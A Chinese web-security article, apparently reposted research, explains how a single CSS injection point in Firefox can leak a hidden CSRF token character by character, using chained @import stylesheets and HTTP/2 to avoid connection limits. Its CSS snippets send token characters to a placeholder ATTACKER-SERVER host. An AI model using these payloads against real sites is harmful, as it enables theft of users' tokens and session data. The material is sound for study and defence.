在Firefox浏览器中利用CSS窃取数据

  发布时间:2020-02-14 12:27:29   作者:安全客   我要评论
这篇文章主要介绍了在Firefox浏览器中利用CSS的一种数据窃取技术,本文通过实例代码给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下

GPT4.0+Midjourney绘画+国内大模型 会员永久免费使用!
如果你想靠AI翻身,你先需要一个靠谱的工具!

0x00 前言

几个月之前,我在Firefox中找到了一个漏洞( CVE-2019-17016 )。在研究过程中,我发现了在Firefox浏览器中利用CSS的一种数据窃取技术,可以通过单个注入点窃取数据,这里我想与大家一起分享相关研究成果。

0x01 背景知识

为了演示方便,这里假设我们想窃取 <input> 元素中的CSRF令牌。

1
<input type="hidden" name="csrftoken" value="SOME_VALUE">

我们无法使用脚本(可能是因为CSP),因此想寻找基于样式的注入方法。传统方法是使用属性选择器,如下所示:

1
2
3
4
5
6
7
8
9
10
input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

如果应用了CSS规则,那么攻击者就能收到HTTP请求,从而获取到令牌的第1个字符。随后,攻击者需要准备另一个样式表,其中包含已窃取的第1个字符,如下所示:

1
2
3
4
5
6
7
8
9
10
input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

通常情况下,攻击者需要重新加载 <iframe> 中已加载的页面,以便提供后续样式表。

在2018年, Pepe Vila 提出了一个非常不错的想法,可以在Chrome浏览器中滥用 CSS递归import 方式,通过单个注入点完成相同任务。在2019年,Nathanial Lattimer( @d0nutptr )重新提出了相同 技巧 ,但稍微做了点改动。下面我稍微总结一下Lattimer的方法,这种方法与本文的思想比较接近(但我在此次研究过程中并不了解Lattimer之前的成果,因此可能有人会认为我在重复造轮子)。

简而言之,第一次注入用到了一堆 import

1
2
3
4
@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

核心思想如下:

1、在一开始,只有第1个 @import 会返回样式表,其他语句处于连接阻塞状态。

2、第1个 @import 返回样式表,泄露令牌的第1个字符。

3、当泄露的第1个令牌到达 ATTACKER-SERVER ,第2个 import 停止阻塞,返回包含第1个字符的样式表,尝试泄露第2个字符。

4、当第2个泄露字符到达 ATTACKER-SERVER 时,第3个 import 停止阻塞……以此类推。

这种技术之所以行之有效,是因为Chrome会采用异步方式处理 import ,因此当任何 import 停止阻塞时,Chrome会立即解析该语句并应用规则。

0x02 Firefox及样式表处理

前面提到的方法并不适用于Firefox,与Chrome浏览器相比,Firefox对样式表的处理方式大不相同。这里我以几个案例来说明其中差异。

首先,Firefox会采用同步方式处理样式表。因此,当样式表中有多个 import 时,只有当所有 import 都处理完毕时,Firefox才会应用CSS规则。考虑如下案例:

1
2
3
4
5
<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

假设第1个 @import 返回CSS规则,将页面背景设置为蓝色,后续的 import 处于阻塞状态(比如永远不会返回任何内容,会挂起HTTP连接)。在Chrome浏览器中,页面会立即变为蓝色,而在Firefox中并不会有任何反应。

我们可以将所有 import 放在独立的 <style> 元素中,从而解决该问题:

1
2
3
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

在上面代码中,Firefox会分别处理所有样式表,因此页面会立刻变蓝色,其他 import 会在后台处理。

但这里还有另一个问题,假设我们想窃取包含10个字符的令牌:

1
2
3
4
5
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox会立即将10个 import 加入队列。在处理完第1个 import 后,Firefox会将带有已知字符的另一个请求加入队列。这里的问题在于,该请求会被加到队列末尾。而在默认情况下,浏览器有个限制条件,到同一个服务器只能有6个并发连接。因此,带有已知字符的请求永远不会到达目标服务器,因为已经有到该服务器的6个阻塞连接,最终出现死锁现象。

0x03 HTTP/2

6个连接的限制条件由TCP层决定,因此到单个服务器只能有6个TCP连接同时存在。在这种情况下,我认为HTTP/2可能派上用场。HTTP/2有许多优点,比如我们可以通过单个连接发送多个HTTP请求(也就是所谓的多路传输( multiplexing )),从而大大提升性能。

Firefox对单个HTTP/2连接的并发请求数也有限制,但默认情况下限制数为 100 (具体设置参考 about:config 中的 network.http.spdy.default-concurrent )。如果我们需要更多并发数,可以使用不同的主机名,强制Firefox创建第2个TCP连接。比如,如果我们创建到 https://localhost:3000100 个请求,也创建到 https://127.0.0.1:300050 个请求,此时Firefox就会创建2个TCP连接。

0x04 利用方式

现在一切准备就绪,我们的主要利用场景如下:

1、利用代码基于HTTP/2。

2、通过 /polling/:session/:index 端点可以返回CSS,泄露第 :index 字符。该请求会处于阻塞状态,直到前一个请求成功泄露第 index-1 个字符。 :session 路径参数用来区分多次攻击行为。

3、通过 /leak/:session/:value 端点来泄露整个令牌。这里 :value 为获取到的完整值,而不单单是最后一个字符。

4、为了强制Firefox向同一个服务器发起2个TCP连接,这里用到了两个端点,分别为 https://localhost:3000https://127.0.0.1:3000

5、端点 /generate 用来生成示例代码。

我创建了一个 测试平台 ,目标是通过这种方式窃取 csrftoken ,大家可通过 此处 直接访问该平台。

此外,我还在GitHub上托管了 PoC代码 ,攻击过程可参考 此处视频 。

有趣的是,由于我们使用的是HTTP/2,因此攻击过程非常快速,不到3秒就能获取到整个令牌。

0x05 总结

在本文中,我演示了如何利用1个注入点,在不想重载页面的情况下,通过CSS窃取数据。这里主要涉及2个要点:

1、将 @import 规则拆分成多个样式表,后续 import 不会阻塞浏览器对整个样式表的处理。

2、为了绕过TCP并发连接数限制,我们需要通过HTTP/2发起攻击。

以上所述是小编给大家介绍的在Firefox浏览器中利用CSS窃取数据,希望对大家有所帮助,也非常感谢大家对脚本之家网站的支持!
 

蓄力AI

相关文章

  • 如何使用CSS的object-position实现图片在img标签中的定位

    该文章介绍了CSS中的object-position属性,用于精确控制替换元素在容器内的位置,通过指定水平和垂直方向的偏移量,可以实现精准定位
    2024-11-08
  • CSS Grid 布局在 IE 中不兼容的原因及解决方案

    文章主要探讨了CSS Grid布局在Internet Explorer(IE)中的不兼容问题,并提供了具体的解决方案和最佳实践,文章首先介绍了CSS Grid布局的基本概念和与传统布局方法的区别,然
    2024-11-08
  • CSS给div一个带有圆角的渐变边框效果

    本文介绍了CSS实现圆角渐变边框的方法,首先设置元素边框为1像素宽度,样式为实线,颜色为透明,然后设置元素边框圆角为10像素,再设置背景剪裁区域和背景绘制区域为内边距和边
    2024-10-29
  • CSS 布局技巧实现元素左右排列的方法

    在CSS布局中,实现元素左右排列有多种方式,Flex布局通过设置margin-left:auto或margin-right:auto实现元素靠右或靠左排列,Grid布局利用grid-template-columns和justify-self
    2024-10-29
  • CSS中隐藏滚动条的同时保留滚动功能

    在CSS中,隐藏滚动条同时保留滚动功能可以通过设置overflow属性和使用特定的CSS伪元素实现,例如,使用::-webkit-scrollbar针对WebKit浏览器,-ms-overflow-style适用于IE和Edg
    2024-10-29
  • CSS border 边框的全面指南

    本文详细介绍了CSS中的border属性及其相关特性,包括border-width(宽度)、border-style(样式)和border-color(颜色)等,此外,还讲述了如何独立控制元素的四个边的边框,
    2024-10-28
  • CSS实现回到顶部且平滑过渡

    本文主要介绍了在网页开发中如何实现“回到顶部”的功能,通过HTML和CSS的编写,可以实现一个浮动在页面右下角的小图标,点击后即可回到页面顶部,这种设计可以提高网站的可用
    2024-10-28
  • CSS盒子模型、圆角边框、盒子阴影效果实现

    盒子模型是网页布局的基础,包括边框、外边距、内边距和实际内容,通过CSS可以控制盒子之间的距离及其外观,如边框样式、边框颜色等,重要属性包括padding和margin,分别控制内
    2024-10-18
  • CSS盒子模型、圆角边框、盒子阴影效果实现

    盒子模型是网页布局的基础,包括边框、外边距、内边距和实际内容,通过CSS可以控制盒子之间的距离及其外观,如边框样式、边框颜色等,重要属性包括padding和margin,分别控制内
    2024-10-18
  • CSS使用filter和backdrop-filter实现高斯模糊效果(示例代码)

    本文详细介绍了CSS3中的两个实现高斯模糊效果的API:filter和backdrop-filter,filter可以直接在图像或背景图上添加多种效果,而backdrop-filter则用于在元素后的区域添加效
    2024-09-26

最新评论